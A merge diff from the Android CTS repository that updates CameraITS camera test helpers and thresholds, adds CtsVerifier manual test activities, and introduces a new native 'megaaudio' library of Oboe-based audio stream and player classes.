Merge "CTS tests for start/stopProfile @SystemApi"
diff --git a/PREUPLOAD.cfg b/PREUPLOAD.cfg
index b34d2ad..a62610d 100644
--- a/PREUPLOAD.cfg
+++ b/PREUPLOAD.cfg
@@ -39,6 +39,7 @@
common/device-side/util/
hostsidetests/car/
hostsidetests/devicepolicy
+ hostsidetests/graphics
hostsidetests/multiuser/
hostsidetests/scopedstorage/
hostsidetests/stagedinstall/
@@ -46,3 +47,7 @@
tests/tests/packageinstaller/atomicinstall/
ktlint_hook = ${REPO_ROOT}/prebuilts/ktlint/ktlint.py -f ${PREUPLOAD_FILES}
+
+splits_native_libs_hook = ${REPO_ROOT}/cts/hostsidetests/appsecurity/test-apps/SplitApp/check_not_modify_libs.sh
+ ${PREUPLOAD_FILES}
+
diff --git a/apps/CameraITS/pymodules/its/caps.py b/apps/CameraITS/pymodules/its/caps.py
index ddb3c95..9c228d3 100644
--- a/apps/CameraITS/pymodules/its/caps.py
+++ b/apps/CameraITS/pymodules/its/caps.py
@@ -410,6 +410,19 @@
"android.edge.availableEdgeModes") and mode \
in props["android.edge.availableEdgeModes"];
+def tonemap_mode(props, mode):
+ """Returns whether a device supports the tonemap mode.
+
+ Args:
+ props: Camera properties object.
+ mode: Integer, indicating the tonemap mode to check for availability.
+
+ Return:
+ Boolean.
+ """
+ return props.has_key(
+ "android.tonemap.availableToneMapModes") and mode \
+ in props["android.tonemap.availableToneMapModes"];
def lens_calibrated(props):
"""Returns whether lens position is calibrated or not.
diff --git a/apps/CameraITS/pymodules/its/cv2image.py b/apps/CameraITS/pymodules/its/cv2image.py
index c71ef24..23c8734 100644
--- a/apps/CameraITS/pymodules/its/cv2image.py
+++ b/apps/CameraITS/pymodules/its/cv2image.py
@@ -106,6 +106,7 @@
if not self.xnorm:
with its.device.ItsSession(camera_id) as cam:
props = cam.get_camera_properties()
+ props = cam.override_with_hidden_physical_camera_props(props)
if its.caps.read_3a(props):
self.locate(cam, props)
else:
diff --git a/apps/CameraITS/pymodules/its/device.py b/apps/CameraITS/pymodules/its/device.py
index 9806359..2e2c775 100644
--- a/apps/CameraITS/pymodules/its/device.py
+++ b/apps/CameraITS/pymodules/its/device.py
@@ -449,6 +449,7 @@
self._hidden_physical_id, self._camera_id)
assert self._hidden_physical_id in physical_ids, e_msg
props = self.get_camera_properties_by_id(self._hidden_physical_id)
+ self.props = props
return props
def get_camera_properties(self):
diff --git a/apps/CameraITS/pymodules/its/target.py b/apps/CameraITS/pymodules/its/target.py
index 01d3c5f..8cf802c 100644
--- a/apps/CameraITS/pymodules/its/target.py
+++ b/apps/CameraITS/pymodules/its/target.py
@@ -191,9 +191,11 @@
with its.device.ItsSession() as cam:
exposure = get_target_exposure(cam)
props = cam.get_camera_properties()
+ props = cam.override_with_hidden_physical_camera_props(props)
else:
exposure = get_target_exposure(its_session)
props = its_session.get_camera_properties()
+ props = its_session.override_with_hidden_physical_camera_props(props)
sens_range = props['android.sensor.info.sensitivityRange']
exp_time_range = props['android.sensor.info.exposureTimeRange']
diff --git a/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py b/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py
index 45a5b13..261eed1 100644
--- a/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py
+++ b/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py
@@ -39,7 +39,8 @@
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
its.caps.skip_unless(its.caps.compute_target_exposure(props) and
- its.caps.per_frame_control(props))
+ its.caps.per_frame_control(props) and
+ its.caps.tonemap_mode(props, 0))
debug = its.caps.debug_mode()
largest_yuv = its.objects.get_largest_yuv_format(props)
diff --git a/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py b/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py
index d8acb2a..cc117be 100644
--- a/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py
+++ b/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py
@@ -26,7 +26,7 @@
import numpy as np
JPEG_APPN_MARKERS = [[255, 224], [255, 225], [255, 226], [255, 227], [255, 228],
- [255, 235]]
+ [255, 229], [255, 230], [255, 231], [255, 232], [255, 235]]
JPEG_DHT_MARKER = [255, 196] # JPEG Define Huffman Table
JPEG_DQT_MARKER = [255, 219] # JPEG Define Quantization Table
JPEG_DQT_TOL = 0.8 # -20% for each +20 in jpeg.quality (empirical number)
diff --git a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
index 67f3806..7ca6e24 100644
--- a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
+++ b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
@@ -279,8 +279,8 @@
dist_y = abs(child_shape['cty']-prt_shape['cty'])
# 1. 0.56*Parent's width < Child's width < 0.76*Parent's width.
# 2. 0.56*Parent's height < Child's height < 0.76*Parent's height.
- # 3. Child's width > 0.1*Image width
- # 4. Child's height > 0.1*Image height
+ # 3. Child's width > 0.075*Image width
+ # 4. Child's height > 0.075*Image height
# 5. 0.25*Parent's area < Child's area < 0.45*Parent's area
# 6. Child == 0, and Parent == 255
# 7. Center of Child and center of parent should overlap
@@ -288,8 +288,8 @@
< prt_shape['width'] * 0.76
and prt_shape['height'] * 0.56 < child_shape['height']
< prt_shape['height'] * 0.76
- and child_shape['width'] > 0.1 * size[1]
- and child_shape['height'] > 0.1 * size[0]
+ and child_shape['width'] > 0.075 * size[1]
+ and child_shape['height'] > 0.075 * size[0]
and 0.30 * prt_area < child_area < 0.50 * prt_area
and img_bw[child_shape['cty']][child_shape['ctx']] == 0
and img_bw[child_shape['top']][child_shape['left']] == 255
diff --git a/apps/CameraITS/tools/validate_scene.py b/apps/CameraITS/tools/validate_scene.py
index 890cf12..e641718 100644
--- a/apps/CameraITS/tools/validate_scene.py
+++ b/apps/CameraITS/tools/validate_scene.py
@@ -50,6 +50,7 @@
"\nThe scene setup should be: " + scene_desc )
# Converge 3A prior to capture.
props = cam.get_camera_properties()
+ props = cam.override_with_hidden_physical_camera_props(props)
cam.do_3a(do_af=do_af, lock_ae=its.caps.ae_lock(props),
lock_awb=its.caps.awb_lock(props))
req = its.objects.fastest_auto_capture_request(props)
diff --git a/apps/CtsVerifier/Android.bp b/apps/CtsVerifier/Android.bp
index 69ef63f..a8d35b4 100644
--- a/apps/CtsVerifier/Android.bp
+++ b/apps/CtsVerifier/Android.bp
@@ -39,6 +39,7 @@
"CtsCameraUtils",
"androidx.legacy_legacy-support-v4",
"CtsForceStopHelper-constants",
+ "ctsmediautil",
],
libs: ["telephony-common"] + ["android.test.runner.stubs"] + ["android.test.base.stubs"] + ["android.test.mock.stubs"] + ["android.car"] + ["voip-common"] + ["truth-prebuilt"],
@@ -49,6 +50,7 @@
"libctsverifier_jni",
"libctsnativemidi_jni",
"libaudioloopback_jni",
+ "libmegaaudio_jni",
],
optimize: {
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 6b27940..09474a8 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -1877,6 +1877,17 @@
android:value="multi_display_mode" />
</activity>
+ <activity android:name=".tunnelmode.MediaCodecFlushActivity"
+ android:label="@string/media_codec_flush"
+ android:exported="true"
+ android:configChanges="keyboardHidden|orientation|screenSize">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_tunnel" />
+ </activity>
+
<!-- FeatureSummaryActivity is replaced by CTS SystemFeaturesTest
<activity android:name=".features.FeatureSummaryActivity" android:label="@string/feature_summary"
android:exported="true">
@@ -4872,6 +4883,20 @@
</intent-filter>
</activity-alias>
+ <service android:name=
+ "com.android.cts.verifier.car.GarageModeChecker"
+ android:permission="android.permission.BIND_JOB_SERVICE" />
+ <activity android:name=".car.GarageModeTestActivity"
+ android:label="@string/car_garage_mode_test">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_car" />
+ <meta-data android:name="test_required_features"
+ android:value="android.hardware.type.automotive"/>
+ </activity>
+
<activity-alias android:name=".car.CarDockActivity2"
android:targetActivity=".car.CarDockActivity"
android:exported="true"
diff --git a/apps/CtsVerifier/jni/audio_loopback/Android.bp b/apps/CtsVerifier/jni/audio_loopback/Android.bp
index ad09fb5..3977c79 100644
--- a/apps/CtsVerifier/jni/audio_loopback/Android.bp
+++ b/apps/CtsVerifier/jni/audio_loopback/Android.bp
@@ -2,11 +2,13 @@
name: "libaudioloopback_jni",
srcs: [
"jni-bridge.cpp",
- "NativeAudioAnalyzer.cpp",
+ "NativeAudioAnalyzer.cpp"
],
include_dirs: [
"frameworks/av/media/ndk/include",
"system/core/include/cutils",
+ "cts/apps/CtsVerifier/jni/megaaudio/player",
+ "cts/apps/CtsVerifier/jni/megaaudio/recorder"
],
header_libs: ["jni_headers"],
shared_libs: [
@@ -18,6 +20,7 @@
cflags: [
"-Werror",
"-Wall",
+ "-Wno-unused-parameter",
// For slCreateEngine
"-Wno-deprecated",
],
diff --git a/apps/CtsVerifier/jni/megaaudio/Android.bp b/apps/CtsVerifier/jni/megaaudio/Android.bp
new file mode 100644
index 0000000..3c84334
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/Android.bp
@@ -0,0 +1,52 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_test_library {
+ name: "libmegaaudio_jni",
+ srcs: [
+ "common/OboeStream.cpp",
+ "common/StreamBase.cpp",
+ "player/NativeAudioSource.cpp",
+ "player/NoiseAudioSource.cpp",
+ "player/OboePlayer.cpp",
+ "player/SinAudioSource.cpp",
+ "player/WaveTableSource.cpp",
+ "recorder/AppCallbackAudioSink.cpp",
+ "recorder/DefaultAudioSink.cpp",
+ "recorder/NativeAudioSink.cpp",
+ "recorder/OboeRecorder.cpp",
+ ],
+ sdk_version: "current",
+ stl: "libc++_static",
+ header_libs: ["jni_headers"],
+ include_dirs: [
+ "cts/apps/CtsVerifier/jni/megaaudio/common",
+ "external/oboe/include",
+ ],
+ shared_libs: [
+ "liblog",
+ "libOpenSLES",
+ ],
+ static_libs: [
+ "oboe",
+ ],
+ cflags: [
+ "-Wall",
+ "-Werror",
+ "-Wno-unused-parameter",
+ "-Wno-unused-variable",
+ ],
+}
diff --git a/apps/CtsVerifier/jni/megaaudio/common/OboeStream.cpp b/apps/CtsVerifier/jni/megaaudio/common/OboeStream.cpp
new file mode 100644
index 0000000..c2dad94
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/common/OboeStream.cpp
@@ -0,0 +1,111 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <android/log.h>
+
+#include <oboe/Oboe.h>
+
+#include "OboeStream.h"
+
+static const char * const TAG = "OboePlayer(native)";
+
+using namespace oboe;
+
+StreamBase::Result OboeStream::OboeErrorToMegaAudioError(oboe::Result oboeError) {
+
+ StreamBase::Result maErr = ERROR_UNKNOWN;
+
+ switch (oboeError) {
+ case oboe::Result::OK:
+ maErr = OK;
+ break;
+ case oboe::Result::ErrorInternal:
+ maErr = ERROR_UNKNOWN;
+ break;
+ case oboe::Result::ErrorClosed:
+ maErr = ERROR_INVALID_STATE;
+ break;
+ default:
+ maErr = ERROR_UNKNOWN;
+ break;
+ }
+
+ return maErr;
+}
+
+StreamBase::Result OboeStream::teardownStream() {
+ __android_log_print(ANDROID_LOG_INFO, TAG, "teardownStream()");
+
+ std::lock_guard<std::mutex> lock(mStreamLock);
+ return teardownStream_l();
+}
+
+StreamBase::Result OboeStream::teardownStream_l() {
+ // tear down the player
+ if (mAudioStream == nullptr) {
+ return ERROR_INVALID_STATE;
+ } else {
+ oboe::Result result = oboe::Result::OK;
+ result = mAudioStream->stop();
+ if (result == oboe::Result::OK) {
+ result = mAudioStream->close();
+ }
+ mAudioStream = nullptr;
+ return OboeErrorToMegaAudioError(result);
+ }
+}
+
+StreamBase::Result OboeStream::startStream() {
+ __android_log_print(ANDROID_LOG_INFO, TAG, "startStream()");
+
+ // Don't cover up (potential) bugs in AAudio
+ oboe::OboeGlobals::setWorkaroundsEnabled(false);
+
+ std::lock_guard<std::mutex> lock(mStreamLock);
+
+ oboe::Result result = oboe::Result::ErrorInternal;
+ if (mAudioStream != nullptr) {
+ result = mAudioStream->requestStart();
+ if (result != oboe::Result::OK){
+ __android_log_print(
+ ANDROID_LOG_ERROR,
+ TAG,
+ "requestStart failed. Error: %s", convertToText(result));
+
+ // clean up
+ teardownStream_l();
+ }
+ }
+ mStreamStarted = result == oboe::Result::OK;
+
+ return OboeErrorToMegaAudioError(result);
+}
+
+StreamBase::Result OboeStream::stopStream() {
+ std::lock_guard<std::mutex> lock(mStreamLock);
+
+ Result errCode = ERROR_UNKNOWN;
+ if (mAudioStream == nullptr) {
+ errCode = ERROR_INVALID_STATE;
+ } else {
+ oboe::Result result = mAudioStream->stop();
+ mStreamStarted = false;
+
+ errCode = OboeErrorToMegaAudioError(result);
+ }
+
+ mStreamStarted = false;
+ return errCode;
+}
diff --git a/apps/CtsVerifier/jni/megaaudio/common/OboeStream.h b/apps/CtsVerifier/jni/megaaudio/common/OboeStream.h
new file mode 100644
index 0000000..a622ddd
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/common/OboeStream.h
@@ -0,0 +1,50 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_COMMON_OBOESTREAM_H
+#define MEGA_COMMON_OBOESTREAM_H
+
+#include <cstdint>
+#include <mutex>
+
+#include <StreamBase.h>
+
+class OboeStream: public StreamBase {
+public:
+ static Result OboeErrorToMegaAudioError(oboe::Result oboeError);
+
+ virtual Result teardownStream() override;
+
+ virtual Result startStream() override;
+ virtual Result stopStream() override;
+
+protected:
+ OboeStream(int32_t subtype) : mSubtype(subtype), mStreamStarted(false) {}
+
+ // determine native back-end to use.
+ // either SUB_TYPE_OBOE_DEFAULT, SUB_TYPE_OBOE_AAUDIO or SUB_TYPE_OBOE_OPENSL_ES
+ int32_t mSubtype;
+
+ // Oboe Audio Stream
+ std::shared_ptr<oboe::AudioStream> mAudioStream;
+ bool mStreamStarted;
+
+ std::mutex mStreamLock;
+
+ Result teardownStream_l();
+};
+
+#endif //MEGA_COMMON_OBOESTREAM_H
diff --git a/apps/CtsVerifier/jni/megaaudio/common/StreamBase.cpp b/apps/CtsVerifier/jni/megaaudio/common/StreamBase.cpp
new file mode 100644
index 0000000..4339cbf
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/common/StreamBase.cpp
@@ -0,0 +1,19 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "StreamBase.h"
+
+//TODO Currently there are no, non-inline, non-pure-virtual methods of StreamBase.
diff --git a/apps/CtsVerifier/jni/megaaudio/common/StreamBase.h b/apps/CtsVerifier/jni/megaaudio/common/StreamBase.h
new file mode 100644
index 0000000..fc34de8
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/common/StreamBase.h
@@ -0,0 +1,110 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_COMMON_STREAMBASE_H
+#define MEGA_COMMON_STREAMBASE_H
+
+#include <cstdint>
+
+class AudioSink;
+
+class StreamBase {
+public:
+ //
+ // Error Codes
+ // These values must be kept in sync with the equivalent symbols in
+ // org.hyphonate.megaaudio.common.Streambase.java
+ //
+ enum Result {
+ OK = 0,
+ ERROR_UNKNOWN = -1,
+ ERROR_UNSUPPORTED = -2,
+ ERROR_INVALID_STATE = -3
+ };
+
+ StreamBase() :
+ mChannelCount(0),
+ mSampleRate(0),
+ mRouteDeviceId(ROUTING_DEVICE_NONE),
+ mBufferSizeInFrames(-1) {}
+ virtual ~StreamBase() {}
+
+ //
+ // Attributes
+ //
+ static const int32_t ROUTING_DEVICE_NONE = -1;
+ int32_t getRoutedDeviceId() const { return mRouteDeviceId; }
+
+ int32_t getNumBufferFrames() const { return mBufferSizeInFrames; }
+
+ //
+ // State
+ //
+ /**
+ * Initializes the audio stream as specified, but does not start the stream. Specifically,
+ * concrete subclasses should do whatever initialization and resource allocation required
+ * such that the stream can be started (in startStream()) as quickly as possible.
+ *
+ * The expectation is that this method will be synchronous in concrete subclasses.
+ *
+ * @param channelCount the number of channels in the audio data
+ * @param sampleRate the desired playback sample rate
+ * @param the device id of the device to route the audio to.
+ * @param a pointer to an AudioSource (subclass) object which will provide the audio data.
+ * @return ERROR_NONE if successful, otherwise an error code
+ */
+ virtual Result setupStream(int32_t channelCount, int32_t sampleRate, int32_t routeDeviceId) = 0;
+
+ /**
+ * Deinitializes the stream.
+ * Concrete subclasses should stop the stream (is not already stopped) and deallocate any
+ * resources being used by the stream.
+ * The stream cannot be started again without another call to setupAudioStream().
+ *
+ * The expectation is that this method will be synchronous in concrete subclasses.
+ * @return ERROR_NONE if successful, otherwise an error code
+ */
+ virtual Result teardownStream() = 0;
+
+ /**
+ * Begin the playback/recording process.
+ *
+ * In concrete subclasses, this may be either synchronous or asynchronous.
+ * @return ERROR_NONE if successful, otherwise an error code
+ */
+ virtual Result startStream() = 0;
+
+ /**
+ * Stop the playback/recording process.
+ *
+ * In concrete subclasses, this may be either synchronous or asynchronous.
+ */
+ virtual Result stopStream() = 0;
+
+protected:
+ // Audio attributes
+ int32_t mChannelCount;
+ int32_t mSampleRate;
+ int32_t mRouteDeviceId;
+ int32_t mBufferSizeInFrames;
+
+ // from org.hyphonate.megaaudio.common.BuilderBase
+ static const int32_t SUB_TYPE_OBOE_AAUDIO = 0x0001;
+ static const int32_t SUB_TYPE_OBOE_OPENSL_ES = 0x0002;
+};
+
+#endif // MEGA_COMMON_STREAMBASE_H
+
diff --git a/apps/CtsVerifier/jni/megaaudio/player/AudioSource.h b/apps/CtsVerifier/jni/megaaudio/player/AudioSource.h
new file mode 100644
index 0000000..20dd5b4
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/AudioSource.h
@@ -0,0 +1,64 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_AUDIOSOURCE_H
+#define MEGA_PLAYER_AUDIOSOURCE_H
+
+class AudioSource {
+public:
+ AudioSource() {}
+ virtual ~AudioSource() {}
+
+ static const int NUMCHANNELS_UNSPECIFIED = -1;
+ static const int NUMCHANNELS_ERROR = -2;
+ virtual int getNumChannels() { return NUMCHANNELS_UNSPECIFIED; }
+
+ // Encoding Constants (specific to MegaAudio)
+ static const int ENCODING_UNSPECIFIED = -1;
+ static const int ENCODING_ERROR = -2;
+ static const int ENCODING_UNINITIALIZED = 0;
+ static const int ENCODING_FLOAT = 1;
+ static const int ENCODING_PCM16 = 2;
+ static const int ENCODING_PCM24 = 3;
+ static const int ENCODING_PCM32 = 4;
+ virtual int getEncoding() { return ENCODING_UNSPECIFIED; };
+
+ /**
+ * Called before the stream starts to allow initialization of the source
+ * @param numFrames The number of frames that will be requested in each pull() call.
+ * @param numChans The number of channels in the stream.
+ */
+ virtual void init(int numFrames, int numChans) {}
+
+ /**
+ * Reset the stream to its beginning
+ */
+ virtual void reset() {}
+
+ /**
+ * Process a request for audio data.
+ * @param audioData The buffer to be filled.
+ * @param numFrames The number of frames of audio to provide.
+ * @param numChans The number of channels (in the buffer) required by the player.
+ * @return The number of frames actually generated. If this value is less than that
+ * requested, it may be interpreted by the player as the end of playback.
+ * Note that the player will be blocked by this call.
+ * Note that the data is assumed to be *interleaved*.
+ */
+ virtual int pull(float* buffer, int numFrames, int numChans) = 0;
+};
+
+#endif // MEGA_PLAYER_AUDIOSOURCE_H
diff --git a/apps/CtsVerifier/jni/megaaudio/player/NativeAudioSource.cpp b/apps/CtsVerifier/jni/megaaudio/player/NativeAudioSource.cpp
new file mode 100644
index 0000000..1fdf2aa
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/NativeAudioSource.cpp
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include "AudioSource.h"
+
+//TODO - Probably wrap the JNI handling in a class with a pointer held in the Java Object
+// so as to support multiple instances... maybe.
+
+// JNI Stuff
+static float* sAudioBuffer;
+
+extern "C" {
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_player_NativeAudioSource_initN(
+ JNIEnv *env, jobject thiz, jlong native_source_ptr, jint num_frames, jint num_chans) {
+ sAudioBuffer = new float[num_frames * num_chans];
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_player_NativeAudioSource_resetN(
+ JNIEnv *env, jobject thiz, jlong native_source_ptr) {
+ // TODO: implement reset()
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_player_NativeAudioSource_pullN(
+ JNIEnv *env, jobject thiz, jlong native_source_ptr,
+ jfloatArray audio_data, jint num_frames, jint num_chans) {
+ AudioSource* audioSource = (AudioSource*)native_source_ptr;
+ int numFrames = audioSource->pull(sAudioBuffer, num_frames, num_chans);
+
+ // Convert to Java float[]
+ env->SetFloatArrayRegion(audio_data, 0, numFrames * num_chans, sAudioBuffer);
+
+ return numFrames;
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.cpp b/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.cpp
new file mode 100644
index 0000000..6f6cad5
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.cpp
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <cstdlib>
+#include <ctime>
+
+#include "NoiseAudioSource.h"
+
+NoiseAudioSource::NoiseAudioSource() {
+ srand (static_cast <unsigned> (time(0)));
+}
+
+int NoiseAudioSource::pull(float* buffer, int numFrames, int numChans) {
+ int numSamples = numFrames * numChans;
+ for(int index = 0; index < numSamples; index++) {
+ buffer[index] = (float)((drand48() * 2.0) - 1.0);
+ }
+
+ return numFrames;
+}
+
+//
+// JNI
+//
+#include <jni.h>
+
+extern "C" {
+JNIEXPORT jlong JNICALL
+Java_com_android_smoke_megaplayer_sources_NoiseAudioSourceProvider_native_1getNativeSource(
+ JNIEnv *env, jobject thiz) {
+ return (jlong)new NoiseAudioSource;
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.h b/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.h
new file mode 100644
index 0000000..8bdb243
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/NoiseAudioSource.h
@@ -0,0 +1,36 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_NOISEAUDIOSOURCE_H
+#define MEGA_PLAYER_NOISEAUDIOSOURCE_H
+
+#include "AudioSource.h"
+
+class NoiseAudioSource: public AudioSource {
+public:
+ NoiseAudioSource();
+
+ /**
+ * Fills the specified buffer with random noise.
+ * @return The number of frames generated. Since we are generating a continuous periodic
+ * signal, this will always be <code>numFrames</code>.
+ */
+ virtual int pull(float* buffer, int numFrames, int numChans) override;
+
+};
+
+
+#endif // MEGA_PLAYER_NOISEAUDIOSOURCE_H
diff --git a/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.cpp b/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.cpp
new file mode 100644
index 0000000..135f385
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/OboePlayer.cpp
@@ -0,0 +1,182 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <android/log.h>
+
+#include "OboePlayer.h"
+#include "WaveTableSource.h"
+
+#include "AudioSource.h"
+
+static const char * const TAG = "OboePlayer(native)";
+
+using namespace oboe;
+
+constexpr int32_t kBufferSizeInBursts = 2; // Use 2 bursts as the buffer size (double buffer)
+
+OboePlayer::OboePlayer(AudioSource* source, int subtype)
+ : Player(source, subtype)
+{}
+
+DataCallbackResult OboePlayer::onAudioReady(AudioStream *oboeStream, void *audioData,
+ int32_t numFrames) {
+ StreamState streamState = oboeStream->getState();
+ if (streamState != StreamState::Open && streamState != StreamState::Started) {
+ __android_log_print(ANDROID_LOG_ERROR, TAG, " streamState:%d", streamState);
+ }
+ if (streamState == StreamState::Disconnected) {
+ __android_log_print(ANDROID_LOG_ERROR, TAG, " streamState::Disconnected");
+ }
+
+ // memset(audioData, 0, numFrames * mChannelCount * sizeof(float));
+
+ // Pull the data here!
+ int numFramesRead = mAudioSource->pull((float*)audioData, numFrames, mChannelCount);
+ // may need to handle 0-filling if numFramesRead < numFrames
+
+ return numFramesRead != 0 ? DataCallbackResult::Continue : DataCallbackResult::Stop;
+}
+
+void OboePlayer::onErrorAfterClose(AudioStream *oboeStream, oboe::Result error) {
+ __android_log_print(ANDROID_LOG_INFO, TAG, "==== onErrorAfterClose() error:%d", error);
+
+ startStream();
+}
+
+void OboePlayer::onErrorBeforeClose(AudioStream *, oboe::Result error) {
+ __android_log_print(ANDROID_LOG_INFO, TAG, "==== onErrorBeforeClose() error:%d", error);
+}
+
